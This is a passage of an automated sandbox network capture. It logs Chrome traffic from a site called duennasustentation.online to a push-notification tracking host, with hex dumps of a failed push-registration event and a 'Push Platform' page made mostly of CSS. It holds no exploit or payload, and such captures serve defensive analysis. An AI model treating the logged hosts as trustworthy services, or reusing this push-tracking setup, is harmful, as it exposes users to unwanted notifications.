2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 20 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 20 4d 65 6e 6c 6f 2c 20 4d 6f 6e 61 63 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 20 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 2d 2d 62 73 2d 67 72 61 64 69 65 6e 74 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 38 30 64 65 67 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c Data Ascii: al, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--bs-font-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255,
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 31 2e 32 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 32 35 72 65 6d 20 2b 20 2e 39 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 7d 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 72 65 6d 20 2b 20 2e 36 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 Data Ascii: height:1.2}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width: 1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width: 1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width: 1200px){h3{font-size:1.75re
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 76 61 72 20 68 65 61 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 66 61 76 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 72 65 6c 20 3d 20 27 73 74 79 6c 65 73 68 65 65 74 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 61 76 2e Data Ascii: var head = document.getElementsByTagName('head')[0]; var css = document.createElement('link'); var fav = document.createElement('link'); css.rel = 'stylesheet'; css.type = 'text/css'; fav.
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 61 73 68 62 6f 61 72 64 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 27 64 65 6d 6f 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 68 72 65 66 20 3d 20 27 63 6f 6e 74 65 6e 74 2f 63 73 73 2f 6c 6f 61 64 69 6e 67 2d 64 6d 73 2e 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 66 61 76 2e 68 72 65 66 20 3d 20 27 66 61 76 69 63 6f 6e 2d 64 6d 73 2e 69 63 6f 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: ashboard.dmspush.com' \|\| window.location.hostname.toLowerCase() === 'demo.dmspush.com' ) { css.href = 'content/css/loading-dms.css'; //fav.href = 'favicon-dms.ico'; } else if (window.locati
2025-01-08 14:44:48 UTC	1369	IN	Data Raw: 75 6c 74 2d 6c 6f 67 6f 2d 62 6c 6f 63 6b 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 20 32 76 68 3b 20 74 6f 70 3a 20 30 3b 20 68 65 69 67 68 74 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 30 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 6c 69 64 65 31 20 31 73 20 6c 69 6e 65 61 72 20 66 6f 72 77 61 72 64 73 20 69 6e 66 69 6e 69 74 65 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 72 69 67 68 74 3a 20 30 3b 20 74 6f 70 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 32 76 68 3b 20 68 65 69 67 68 74 3a 20 30 3b Data Ascii: ult-logo-block" style="display: none"> <div class="loader" style="left: 2vh; top: 0; height: 2vh; width: 0; animation: slide1 1s linear forwards infinite"></div> <div class="loader" style="right: 0; top: 2vh; width: 2vh; height: 0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49824	172.67.156.201	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:49 UTC	654	OUT	POST /register/event_log/64d519qjgj HTTP/1.1 Host: event.trk-quantivex.com Connection: keep-alive Content-Length: 159 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/json Accept: / Origin: https://duennasustentation.online Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://duennasustentation.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:49 UTC	159	OUT	Data Raw: 7b 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 73 65 73 73 69 6f 6e 49 64 22 3a 22 22 2c 22 76 65 72 73 69 6f 6e 22 3a 38 31 38 2c 22 6d 65 73 73 61 67 65 22 3a 22 5c 22 4e 6f 74 41 6c 6c 6f 77 65 64 45 72 72 6f 72 3a 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 66 61 69 6c 65 64 20 2d 20 70 65 72 6d 69 73 73 69 6f 6e 20 64 65 6e 69 65 64 5c 22 22 2c 22 65 76 65 6e 74 22 3a 22 70 5f 63 6c 6f 73 65 64 5f 70 72 6f 6d 70 74 22 7d Data Ascii: {"timezone":"America/New_York","sessionId":"","version":818,"message":"\"NotAllowedError: Registration failed - permission denied\"","event":"p_closed_prompt"}
2025-01-08 14:44:49 UTC	1167	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:49 GMT Content-Length: 0 Connection: close Expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin X-pushPlatformApp-params: Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: X-pushPlatformApp-alert: pushPlatformApp.pushSubscription.deleted X-Frame-Options: SAMEORIGIN Access-Control-Expose-Headers: Authorization, Link, X-Total-Count, X-pushPlatformApp-alert, X-pushPlatformApp-error, X-pushPlatformApp-params Access-Control-Allow-Origin: * Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC
2025-01-08 14:44:49 UTC	637	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6a 31 68 39 59 38 6a 62 67 75 44 7a 66 32 77 25 32 46 6a 4b 4b 57 78 6f 6e 4f 33 73 66 54 25 32 46 44 25 32 46 72 64 6b 42 65 6a 73 4a 6a 78 45 68 6b 38 41 33 34 4f 4e 65 4c 58 41 41 6e 31 38 6e 74 35 56 34 30 33 47 4a 33 6a 6b 32 67 68 4a 4c 63 53 62 34 54 65 61 6d 31 34 34 69 64 67 4d 4b 78 4e 78 68 72 33 35 62 75 38 63 61 34 58 4d 6f 4e 59 62 65 61 61 78 47 34 6b 38 65 34 73 52 75 4b 65 7a 6f 59 71 47 25 32 46 42 56 43 55 34 48 6c 4e 71 6a 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j1h9Y8jbguDzf2w%2FjKKWxonO3sfT%2FD%2FrdkBejsJjxEhk8A34ONeLXAAn18nt5V403GJ3jk2ghJLcSb4Team144idgMKxNxhr35bu8ca4XMoNYbeaaxG4k8e4sRuKezoYqG%2FBVCU4HlNqjA%3D%3D"}],"group":"cf-nel",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49826	104.21.13.162	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:50 UTC	376	OUT	GET /register/event_log/64d519qjgj HTTP/1.1 Host: event.trk-quantivex.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 14:44:50 UTC	1364	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Expires: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate X-XSS-Protection: 1; mode=block Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: Content-Language: en-US X-Frame-Options: SAMEORIGIN Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers vary: accept-encoding Last-Modified: Thu, 19 Dec 2024 08:00:10 GMT X-Content-Type-Options: nosniff Permissions-Policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lE6BaBwuwVXxB2pn6Bp8KJTI7v2KjcwNAnV5FhFO211eYDEduxS9Z2K7mbwAGPNdayfjk5OX9lInR27DMxZrWfjwdAiP%2B74jlQ0NYQWKD3sqNVu2Y3eP%2BgVA47qzghxMIjrz%2BDf3ZG4TKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
2025-01-08 14:44:50 UTC	295	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 65 63 66 37 63 38 65 39 36 66 34 31 63 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 38 36 30 26 6d 69 6e 5f 72 74 74 3d 31 38 30 37 26 72 74 74 5f 76 61 72 3d 37 31 35 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 34 31 26 72 65 63 76 5f 62 79 74 65 73 3d 39 35 34 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 36 31 35 39 33 38 26 63 77 6e 64 3d 31 36 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 Data Ascii: Server: cloudflareCF-RAY: 8fecf7c8e96f41cf-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1860&min_rtt=1807&rtt_var=715&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2841&recv_bytes=954&delivery_rate=1615938&cwnd=169&unsent_byte
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 34 33 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 75 73 68 20 50 6c 61 74 66 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 50 75 73 68 20 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 20 70 6c 61 74 66 6f 72 6d 22 3e 0a 20 Data Ascii: 43dc<!DOCTYPE html><html class="no-js" lang="en" dir="ltr"><head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Platform</title> <meta name="description" content="Push Notifications platform">
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 73 75 72 66 61 63 65 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 73 75 72 66 61 63 65 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 73 75 72 66 61 63 65 2d 39 30 30 3a 23 31 31 31 36 31 38 3b 2d 2d 67 72 61 79 2d 35 30 3a 23 65 65 66 31 66 32 3b 2d 2d 67 72 61 79 2d 31 30 30 3a 23 64 64 65 32 65 34 3b 2d 2d 67 72 61 79 2d 32 30 30 3a 23 62 62 63 35 63 61 3b 2d 2d 67 72 61 79 2d 33 30 30 3a 23 39 38 61 38 61 66 3b 2d 2d 67 72 61 79 2d 34 30 30 3a 23 37 36 38 62 39 35 3b 2d 2d 67 72 61 79 2d 35 30 30 3a 23 35 34 36 65 37 61 3b 2d 2d 67 72 61 79 2d 36 30 30 3a 23 34 33 35 38 36 32 3b 2d 2d 67 72 61 79 2d 37 30 30 3a 23 33 32 34 32 34 39 3b 2d 2d 67 72 61 79 2d 38 30 30 3a 23 32 32 32 63 33 31 3b 2d 2d 67 72 61 79 2d Data Ascii: 600:#435862;--surface-700:#324249;--surface-800:#222c31;--surface-900:#111618;--gray-50:#eef1f2;--gray-100:#dde2e4;--gray-200:#bbc5ca;--gray-300:#98a8af;--gray-400:#768b95;--gray-500:#546e7a;--gray-600:#435862;--gray-700:#324249;--gray-800:#222c31;--gray-
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 79 61 6e 2d 39 30 30 3a 23 31 32 34 35 35 35 3b 2d 2d 70 69 6e 6b 2d 35 30 3a 23 66 64 66 34 66 39 3b 2d 2d 70 69 6e 6b 2d 31 30 30 3a 23 66 36 63 63 65 30 3b 2d 2d 70 69 6e 6b 2d 32 30 30 3a 23 65 65 61 33 63 37 3b 2d 2d 70 69 6e 6b 2d 33 30 30 3a 23 65 37 37 61 61 65 3b 2d 2d 70 69 6e 6b 2d 34 30 30 3a 23 64 66 35 32 39 36 3b 2d 2d 70 69 6e 6b 2d 35 30 30 3a 23 64 38 32 39 37 64 3b 2d 2d 70 69 6e 6b 2d 36 30 30 3a 23 62 38 32 33 36 61 3b 2d 2d 70 69 6e 6b 2d 37 30 30 3a 23 39 37 31 64 35 38 3b 2d 2d 70 69 6e 6b 2d 38 30 30 3a 23 37 37 31 37 34 35 3b 2d 2d 70 69 6e 6b 2d 39 30 30 3a 23 35 36 31 30 33 32 3b 2d 2d 69 6e 64 69 67 6f 2d 35 30 3a 23 66 34 66 36 66 64 3b 2d 2d 69 6e 64 69 67 6f 2d 31 30 30 3a 23 63 63 64 33 66 35 3b 2d 2d 69 6e 64 69 67 6f 2d Data Ascii: yan-900:#124555;--pink-50:#fdf4f9;--pink-100:#f6cce0;--pink-200:#eea3c7;--pink-300:#e77aae;--pink-400:#df5296;--pink-500:#d8297d;--pink-600:#b8236a;--pink-700:#971d58;--pink-800:#771745;--pink-900:#561032;--indigo-50:#f4f6fd;--indigo-100:#ccd3f5;--indigo-
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 38 32 34 31 30 3b 2d 2d 72 65 64 2d 37 30 30 3a 23 39 37 31 64 30 64 3b 2d 2d 72 65 64 2d 38 30 30 3a 23 37 37 31 37 30 61 3b 2d 2d 72 65 64 2d 39 30 30 3a 23 35 36 31 31 30 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 3a 23 66 32 66 38 66 64 3b 2d 2d 70 72 69 6d 61 72 79 2d 31 30 30 3a 23 63 32 64 66 66 36 3b 2d 2d 70 72 69 6d 61 72 79 2d 32 30 30 3a 23 39 31 63 36 65 66 3b 2d 2d 70 72 69 6d 61 72 79 2d 33 30 30 3a 23 36 31 61 64 65 37 3b 2d 2d 70 72 69 6d 61 72 79 2d 34 30 30 3a 23 33 30 39 33 65 30 3b 2d 2d 70 72 69 6d 61 72 79 2d 35 30 30 3a 23 30 30 37 61 64 39 3b 2d 2d 70 72 69 6d 61 72 79 2d 36 30 30 3a 23 30 30 36 38 62 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 37 30 30 3a 23 30 30 35 35 39 38 3b 2d 2d 70 72 69 6d 61 72 79 2d 38 30 30 3a 23 30 30 34 33 37 Data Ascii: 82410;--red-700:#971d0d;--red-800:#77170a;--red-900:#561108;--primary-50:#f2f8fd;--primary-100:#c2dff6;--primary-200:#91c6ef;--primary-300:#61ade7;--primary-400:#3093e0;--primary-500:#007ad9;--primary-600:#0068b8;--primary-700:#005598;--primary-800:#00437
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 2c 20 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 20 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 2d 2d 62 73 2d 66 6f 6e 74 2d 6d 6f 6e 6f 73 70 61 63 65 3a 53 46 4d 6f 6e 6f 2d 52 65 67 75 6c 61 72 2c 20 4d 65 6e 6c 6f 2c 20 4d 6f 6e 61 63 6f 2c 20 43 6f 6e 73 6f 6c 61 73 2c 20 22 4c 69 62 65 72 61 74 69 6f 6e 20 4d 6f 6e 6f 22 2c 20 22 43 6f 75 72 69 65 72 20 4e 65 77 22 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 2d 2d 62 73 2d 67 72 61 64 69 65 6e 74 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 38 30 64 65 67 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c Data Ascii: al, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";--bs-font-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;--bs-gradient:linear-gradient(180deg, rgba(255, 255, 255,
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 3a 31 2e 32 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 37 35 72 65 6d 20 2b 20 31 2e 35 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 7d 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 32 35 72 65 6d 20 2b 20 2e 39 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 7d 7d 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 63 61 6c 63 28 31 2e 33 72 65 6d 20 2b 20 2e 36 76 77 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 30 70 78 29 7b 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 35 72 65 Data Ascii: height:1.2}h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width: 1200px){h1{font-size:2.5rem}}h2{font-size:calc(1.325rem + .9vw)}@media (min-width: 1200px){h2{font-size:2rem}}h3{font-size:calc(1.3rem + .6vw)}@media (min-width: 1200px){h3{font-size:1.75re
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 76 61 72 20 68 65 61 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 27 68 65 61 64 27 29 5b 30 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 73 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 66 61 76 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 6c 69 6e 6b 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 72 65 6c 20 3d 20 27 73 74 79 6c 65 73 68 65 65 74 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 61 76 2e Data Ascii: var head = document.getElementsByTagName('head')[0]; var css = document.createElement('link'); var fav = document.createElement('link'); css.rel = 'stylesheet'; css.type = 'text/css'; fav.
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 61 73 68 62 6f 61 72 64 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 27 64 65 6d 6f 2e 64 6d 73 70 75 73 68 2e 63 6f 6d 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 73 73 2e 68 72 65 66 20 3d 20 27 63 6f 6e 74 65 6e 74 2f 63 73 73 2f 6c 6f 61 64 69 6e 67 2d 64 6d 73 2e 63 73 73 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 66 61 76 2e 68 72 65 66 20 3d 20 27 66 61 76 69 63 6f 6e 2d 64 6d 73 2e 69 63 6f 27 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: ashboard.dmspush.com' \|\| window.location.hostname.toLowerCase() === 'demo.dmspush.com' ) { css.href = 'content/css/loading-dms.css'; //fav.href = 'favicon-dms.ico'; } else if (window.locati
2025-01-08 14:44:50 UTC	1369	IN	Data Raw: 75 6c 74 2d 6c 6f 67 6f 2d 62 6c 6f 63 6b 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 6c 65 66 74 3a 20 32 76 68 3b 20 74 6f 70 3a 20 30 3b 20 68 65 69 67 68 74 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 30 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 6c 69 64 65 31 20 31 73 20 6c 69 6e 65 61 72 20 66 6f 72 77 61 72 64 73 20 69 6e 66 69 6e 69 74 65 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 73 74 79 6c 65 3d 22 72 69 67 68 74 3a 20 30 3b 20 74 6f 70 3a 20 32 76 68 3b 20 77 69 64 74 68 3a 20 32 76 68 3b 20 68 65 69 67 68 74 3a 20 30 3b Data Ascii: ult-logo-block" style="display: none"> <div class="loader" style="left: 2vh; top: 0; height: 2vh; width: 0; animation: slide1 1s linear forwards infinite"></div> <div class="loader" style="right: 0; top: 2vh; width: 2vh; height: 0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49833	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
